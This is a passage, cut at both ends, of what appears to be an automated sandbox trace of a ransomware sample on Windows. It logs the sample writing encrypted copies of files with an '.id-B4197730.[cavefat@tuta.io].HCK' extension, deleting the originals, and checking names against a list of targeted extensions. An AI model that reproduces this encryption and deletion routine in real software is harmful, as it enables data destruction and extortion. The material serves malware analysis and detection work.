SetEndOfFile (hFile=0x300) Thread: id = 292 os_tid = 0x113c [0147.781] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x37a0980 [0147.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10000) returned 0x37b0988 [0147.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7085b8 [0147.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x6) returned 0x74e8a0 [0147.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708660 [0147.782] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x100000) returned 0x3c3c020 [0147.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x708678 [0147.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x708678, Size=0x20) returned 0x6eec98 [0147.784] RtlAllocateHeap (HeapHandle=0x6b0000, Flags=0x0, Size=0x10) returned 0x7086d8 [0147.784] RtlReAllocateHeap (Heap=0x6b0000, Flags=0x0, Ptr=0x7086d8, Size=0x20) returned 0x6eeba8 [0147.784] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x77190000 [0147.784] GetProcAddress (hModule=0x77190000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x771a6b30 [0147.784] Wow64DisableWow64FsRedirection (in: OldValue=0x324ff50 | out: OldValue=0x324ff50*=0x0) returned 1 [0147.784] lstrlenW (lpString="kernel32.dll") returned 12 [0147.784] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eec98 | out: hHeap=0x6b0000) returned 1 [0147.784] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0147.784] HeapFree (in: hHeap=0x6b0000, dwFlags=0x0, lpMem=0x6eeba8 | out: hHeap=0x6b0000) returned 1 [0147.784] Sleep (dwMilliseconds=0x64) [0147.981] lstrcmpiW (lpString1=".log", lpString2=".HCK") returned 1 [0147.981] lstrlenW (lpString="oobe_2017_09_07_03_08_57_737.log") returned 32 [0147.981] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0147.991] GetFileSizeEx (in: hFile=0x2f0, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6004) returned 1 [0147.992] CloseHandle (hObject=0x2f0) returned 1 [0147.999] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 0x20 [0147.999] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.007] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.021] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.021] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.021] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.021] GetLastError () returned 0x0 [0148.021] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x1774, lpOverlapped=0x0) returned 1 [0148.029] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x1780, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x1780, lpOverlapped=0x0) returned 1 [0148.030] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.030] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x114, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x114, lpOverlapped=0x0) returned 1 [0148.030] SetEndOfFile (hFile=0x2ec) returned 1 [0148.030] CloseHandle (hObject=0x2ec) returned 1 [0148.031] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.031] SetEndOfFile (hFile=0x2e8) returned 1 [0148.032] CloseHandle (hObject=0x2e8) returned 1 [0148.032] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x20) returned 1 [0148.032] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log" (normalized: "c:\\$getcurrent\\logs\\oobe_2017_09_07_03_08_57_737.log")) returned 1 [0148.032] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".doc") returned 4 [0148.033] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString=".docx") returned 5 [0148.033] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0148.033] lstrlenW (lpString=".pdf") returned 4 [0148.033] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".xls") returned 4 [0148.033] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".xlsx") returned 5 [0148.033] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0148.033] lstrlenW (lpString=".ppt") returned 4 [0148.033] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".zip") returned 4 [0148.033] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".rar") returned 4 [0148.033] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".bz2") returned 4 [0148.033] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString=".7z") returned 3 [0148.033] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".dbf") returned 4 [0148.033] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".1cd") returned 4 [0148.033] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".jpg") returned 4 [0148.033] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.033] lstrlenW (lpString=".doc") returned 4 [0148.033] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0148.033] lstrlenW (lpString=".docx") returned 5 [0148.033] lstrcmpiW (lpString1=".docx", lpString2="7.log") returned -1 [0148.033] lstrlenW (lpString=".pdf") returned 4 [0148.033] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".xls") returned 4 [0148.033] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0148.033] lstrlenW (lpString=".xlsx") returned 5 [0148.034] lstrcmpiW (lpString1=".xlsx", lpString2="7.log") returned -1 [0148.034] lstrlenW (lpString=".ppt") returned 4 [0148.034] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0148.034] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.034] lstrlenW (lpString=".zip") returned 4 [0148.034] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0148.034] lstrlenW (lpString=".rar") returned 4 [0148.034] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0148.034] lstrlenW (lpString=".bz2") returned 4 [0148.034] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0148.034] lstrlenW (lpString=".7z") returned 3 [0148.034] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0148.034] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.034] lstrlenW (lpString=".dbf") returned 4 [0148.034] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0148.034] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.034] lstrlenW (lpString=".1cd") returned 4 [0148.034] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0148.034] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\oobe_2017_09_07_03_08_57_737.log") returned 52 [0148.034] lstrlenW (lpString=".jpg") returned 4 [0148.034] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0148.034] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.034] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.034] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.034] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=74214) returned 1 [0148.034] CloseHandle (hObject=0x2e8) returned 1 [0148.038] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 0x80 [0148.038] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.038] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.038] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.038] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2ec [0148.039] GetLastError () returned 0x0 [0148.039] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x121e6, lpOverlapped=0x0) returned 1 [0148.042] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x121f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x121f0, lpOverlapped=0x0) returned 1 [0148.044] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.044] WriteFile (in: hFile=0x2ec, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xf6, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xf6, lpOverlapped=0x0) returned 1 [0148.044] SetEndOfFile (hFile=0x2ec) returned 1 [0148.044] CloseHandle (hObject=0x2ec) returned 1 [0148.046] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.046] SetEndOfFile (hFile=0x2e8) returned 1 [0148.047] CloseHandle (hObject=0x2e8) returned 1 [0148.047] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.047] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1025\\localizeddata.xml")) returned 1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".doc") returned 4 [0148.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString=".docx") returned 5 [0148.054] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.054] lstrlenW (lpString=".pdf") returned 4 [0148.054] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString=".xls") returned 4 [0148.054] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString=".xlsx") returned 5 [0148.054] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.054] lstrlenW (lpString=".ppt") returned 4 [0148.054] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".zip") returned 4 [0148.054] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.054] lstrlenW (lpString=".rar") returned 4 [0148.054] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString=".bz2") returned 4 [0148.054] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString=".7z") returned 3 [0148.054] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".dbf") returned 4 [0148.054] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".1cd") returned 4 [0148.054] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".jpg") returned 4 [0148.054] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.054] lstrlenW (lpString=".doc") returned 4 [0148.054] lstrcmpiW (lpString1=".doc", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString=".docx") returned 5 [0148.055] lstrcmpiW (lpString1=".docx", lpString2="a.xml") returned -1 [0148.055] lstrlenW (lpString=".pdf") returned 4 [0148.055] lstrcmpiW (lpString1=".pdf", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString=".xls") returned 4 [0148.055] lstrcmpiW (lpString1=".xls", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString=".xlsx") returned 5 [0148.055] lstrcmpiW (lpString1=".xlsx", lpString2="a.xml") returned -1 [0148.055] lstrlenW (lpString=".ppt") returned 4 [0148.055] lstrcmpiW (lpString1=".ppt", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.055] lstrlenW (lpString=".zip") returned 4 [0148.055] lstrcmpiW (lpString1=".zip", lpString2=".xml") returned 1 [0148.055] lstrlenW (lpString=".rar") returned 4 [0148.055] lstrcmpiW (lpString1=".rar", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString=".bz2") returned 4 [0148.055] lstrcmpiW (lpString1=".bz2", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString=".7z") returned 3 [0148.055] lstrcmpiW (lpString1=".7z", lpString2="xml") returned -1 [0148.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.055] lstrlenW (lpString=".dbf") returned 4 [0148.055] lstrcmpiW (lpString1=".dbf", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.055] lstrlenW (lpString=".1cd") returned 4 [0148.055] lstrcmpiW (lpString1=".1cd", lpString2=".xml") returned -1 [0148.055] lstrlenW (lpString="C:\\588bce7c90097ed212\\1025\\LocalizedData.xml") returned 44 [0148.055] lstrlenW (lpString=".jpg") returned 4 [0148.055] lstrcmpiW (lpString1=".jpg", lpString2=".xml") returned -1 [0148.055] lstrcmpiW (lpString1=".rtf", lpString2=".HCK") returned 1 [0148.055] lstrlenW (lpString="eula.rtf") returned 8 [0148.055] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.056] GetFileSizeEx (in: hFile=0x2e8, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=6309) returned 1 [0148.056] CloseHandle (hObject=0x2e8) returned 1 [0148.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 0x80 [0148.056] GetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0148.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2e8 [0148.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.056] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.056] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0 [0148.066] GetLastError () returned 0x0 [0148.066] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x18a5, lpOverlapped=0x0) returned 1 [0148.097] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x18b0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x18b0, lpOverlapped=0x0) returned 1 [0148.098] ReadFile (in: hFile=0x2e8, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0148.098] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xe4, lpOverlapped=0x0) returned 1 [0148.098] SetEndOfFile (hFile=0x2f0) returned 1 [0148.098] CloseHandle (hObject=0x2f0) returned 1 [0148.099] SetFilePointerEx (in: hFile=0x2e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0148.099] SetEndOfFile (hFile=0x2e8) returned 1 [0148.099] CloseHandle (hObject=0x2e8) returned 1 [0148.099] SetFileAttributesW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x80) returned 1 [0148.100] DeleteFileW (lpFileName="C:\\588bce7c90097ed212\\1028\\eula.rtf" (normalized: "c:\\588bce7c90097ed212\\1028\\eula.rtf")) returned 1 [0148.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.100] lstrlenW (lpString=".doc") returned 4 [0148.100] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString=".docx") returned 5 [0148.100] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.100] lstrlenW (lpString=".pdf") returned 4 [0148.100] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString=".xls") returned 4 [0148.100] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.100] lstrlenW (lpString=".xlsx") returned 5 [0148.100] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.100] lstrlenW (lpString=".ppt") returned 4 [0148.100] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.100] lstrlenW (lpString=".zip") returned 4 [0148.100] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.100] lstrlenW (lpString=".rar") returned 4 [0148.100] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString=".bz2") returned 4 [0148.100] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString=".7z") returned 3 [0148.100] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.100] lstrlenW (lpString=".dbf") returned 4 [0148.100] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.100] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.100] lstrlenW (lpString=".1cd") returned 4 [0148.101] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".jpg") returned 4 [0148.101] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".doc") returned 4 [0148.101] lstrcmpiW (lpString1=".doc", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString=".docx") returned 5 [0148.101] lstrcmpiW (lpString1=".docx", lpString2="a.rtf") returned -1 [0148.101] lstrlenW (lpString=".pdf") returned 4 [0148.101] lstrcmpiW (lpString1=".pdf", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString=".xls") returned 4 [0148.101] lstrcmpiW (lpString1=".xls", lpString2=".rtf") returned 1 [0148.101] lstrlenW (lpString=".xlsx") returned 5 [0148.101] lstrcmpiW (lpString1=".xlsx", lpString2="a.rtf") returned -1 [0148.101] lstrlenW (lpString=".ppt") returned 4 [0148.101] lstrcmpiW (lpString1=".ppt", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".zip") returned 4 [0148.101] lstrcmpiW (lpString1=".zip", lpString2=".rtf") returned 1 [0148.101] lstrlenW (lpString=".rar") returned 4 [0148.101] lstrcmpiW (lpString1=".rar", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString=".bz2") returned 4 [0148.101] lstrcmpiW (lpString1=".bz2", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString=".7z") returned 3 [0148.101] lstrcmpiW (lpString1=".7z", lpString2="rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".dbf") returned 4 [0148.101] lstrcmpiW (lpString1=".dbf", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".1cd") returned 4 [0148.101] lstrcmpiW (lpString1=".1cd", lpString2=".rtf") returned -1 [0148.101] lstrlenW (lpString="C:\\588bce7c90097ed212\\1028\\eula.rtf") returned 35 [0148.101] lstrlenW (lpString=".jpg") returned 4 [0148.101] lstrcmpiW (lpString1=".jpg", lpString2=".rtf") returned -1 [0148.101] lstrcmpiW (lpString1=".xml", lpString2=".HCK") returned 1 [0148.101] lstrlenW (lpString="LocalizedData.xml") returned 17 [0148.101] CreateFileW (lpFileName="C:\\588bce7c90097ed212\\1030\\LocalizedData.xml" (normalized: "c:\\588bce7c90097ed212\\1030\\localizeddata.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x300 [0148.294] GetFileSizeEx (in: 